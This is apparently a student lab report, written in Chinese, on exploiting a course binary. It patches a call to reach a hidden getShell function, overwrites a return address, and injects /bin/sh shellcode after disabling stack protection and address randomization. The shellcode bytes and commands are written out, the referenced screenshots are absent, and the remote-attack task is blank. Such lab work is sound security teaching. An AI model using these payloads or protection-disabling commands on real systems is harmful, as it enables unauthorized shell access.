一、实验目标
- 直接修改程序机器指令,运行原本不可访问的代码片段
- 构造输入参数,造成BOF攻击,改变程序执行流
- 制作shellcode,注入该shellcode,并运行任意代码
- 结合nc模拟远程攻击
二、实验原理
三、实验内容
- 实验对象:名为20175313pwn的linux可执行文件。
- 文件说明:20175313pwn中main函数调用foo函数,foo函数用于将用户输入的字符串回显到屏幕上。20175313pwn文件还包含一段getShell程序,用于返回一个可用Shell。
任务一
- 预备知识:掌握NOP, JNE, JE, JMP, CMP汇编指令对应的机器码
- NOP:"no operation"空操作,机器码0x90
- JNE:"not equal"不等则跳转,机器码0x75
- JE:相等则跳转,机器码0x74
- JMP:无条件跳转
- 段内直接短转Jmp short,机器码0xEB;
- 段内直接近转移Jmp near,机器码0xE9;
- 段内间接转移Jmp word,机器码0xFF;
- 段间直接(远)转移Jmp far,机器码0xEA
- CMP:比较指令,CMP的功能相当于减法指令。它不保存结果,只是影响相应的标志位,机器码0x39
更多详情请参见汇编指令机器码对应列表。
- 任务要求:通过直接修改程序机器指令,使其运行原本不可访问的代码片段getShell。
- 实验步骤:
- 使用
objdump -d 20175313pwn | more
对2017313pwn可执行文件进行反汇编
- 由上图可知,20175313pwn反汇编后,main函数通过
call 8048491 <foo>
(对应的机器指令为:e8 d7 ff ff ff,其中e8是call指令的机器码,d7 ff ff ff
是十六进制补码,EIP的值+d7 ff ff ff
=8048491=80484ba+d7 ff ff ff
)来调用foo函数。- 如果要使得main函数调用getShell函数,只需将
call 8048491 <foo>
改为call 804847d <getShell>
即可。所以只需要修改call 8048491 <getShell>
指令对应的机器指令,将其改为:e8 c3 ff ff ff
(804847d-80484ba=ffffffc3)- 使用
vi 20175313pwn
编辑可执行文件。按esc后,输入:%!xxd
将显示模式切换为十六进制模式,在底行/d7
查找需要修改的内容,将d7改为c3后,输入:%!xxd -r
转换16进制为原格式,:wq
保存退出。- 对修改结果进行验证,如下图:
- 20175313pwn.bak为原文件,20175313pwn为修改后文件,其运行结果如下:
任务二
- 需求分析:
- 预备知识:
- 使用perl语言,能够将无法通过键盘输入的十六进制值直接输入,并使用输出重定向">"将perl生成的字符串存储到文件中。例如:
perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
是将字符串"11111111222222223333333344444444x7dx84x04x08x0a"重定向到文件input中。xxd 文件名
将文件内容以16进制形式呈现。(cat 文件名file1;cat) | 可执行文件名file2
将file1中的字符串通过管道传递给file2,作为可执行文件file2的输入。
- 实验步骤:
- 构造字符串
11111111222222223333333344444444x08x04x84x7d
,还是11111111222222223333333344444444x7dx84x04x08
- 当构造字符串
11111111222222223333333344444444x08x04x84x7d
作为输入字符串时,调试结果如下图:
- 由此可知,应该构造字符串
11111111222222223333333344444444x7dx84x04x08
,结果如下图:
任务三
- 需求分析:
- 与任务二类似,在给字符串预留的28个字节上面4个字节是存放main函数堆栈的栈底,在上面4个字节是返回地址。因此,我们需要构造的字符串的第33-36个字节为我们想要注入的shellcode的起始地址。
- 由于执行过程的未知性,想要准确知道shellcode的起始地址的很难的,为了提高猜测的准确性,我们一般在想要注入的shellcode前面填充许多空操作nop(机器码为0x90),使得只要找到任意一个0x90的位置作为起始地址覆盖到eip处,就能够让shellcode被执行。
- 所以,我们需要找到0x90的位置。
- 预备知识:
- Linux下有两种基本构造攻击buf的方法,一般选择第一种。
- retaddr+nop+shellcode
- nop+shellcode+retaddr
execstack -s pwn1
设置堆栈可执行;execstack -q pwn1
查询文件的堆栈是否可执行;more /proc/sys/kernel/randomize_va_space
查看地址随机化的状态;echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化
- 实验步骤:
perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > 20175313input
上面的x4x3x2x1
将覆盖到堆栈上的返回地址的位置我们需要把它改为shellcode的起始地址,所以通过调试找到0x90所在位置,调试过程如下:
- 由于未设置堆栈空间可执行和关闭虚拟地址空间随机化导致失败,所以先做好上述准备工作后,重新寻找shellcode起始地址。
- 找到shellcode起始地址后,重新注入,并验证,最后运行成功。
任务四
四、实验思考
- 什么是漏洞?
缓冲区溢出就是漏洞。漏洞就是缺陷,可以存在于硬件、软件、协议等各个方面,黑客可以利用漏洞对计算机进行攻击。
- 漏洞有什么危害?
存在漏洞,就会使黑客有机会对目标主机进行远程控制,会造成机密性、完整性、真实性等安全属性遭到破坏,以达到他们想要的目的。
五、实验收获与感想
- 本次实验虽然花费我大量的时间,但是也收获了同比的知识。让在我对缓冲区溢出原理清楚明白的基础上,辅以相应的实践,加深了我对缓冲区溢出的理解。
- 同时,也让我反思自己以前写的代码,对于
int A[10];
这种代码产生一种危机感,深刻明白自己在代码编写方面的不足。 - 最重要的是让我学会在遇到事情时,一定要冷静分析,把握大方向。首先要有思路也就是目标要明确,然后进行预期,操作,验证。做的每一步都要进行验证,每一步验证的成功,才能达到最后的成功。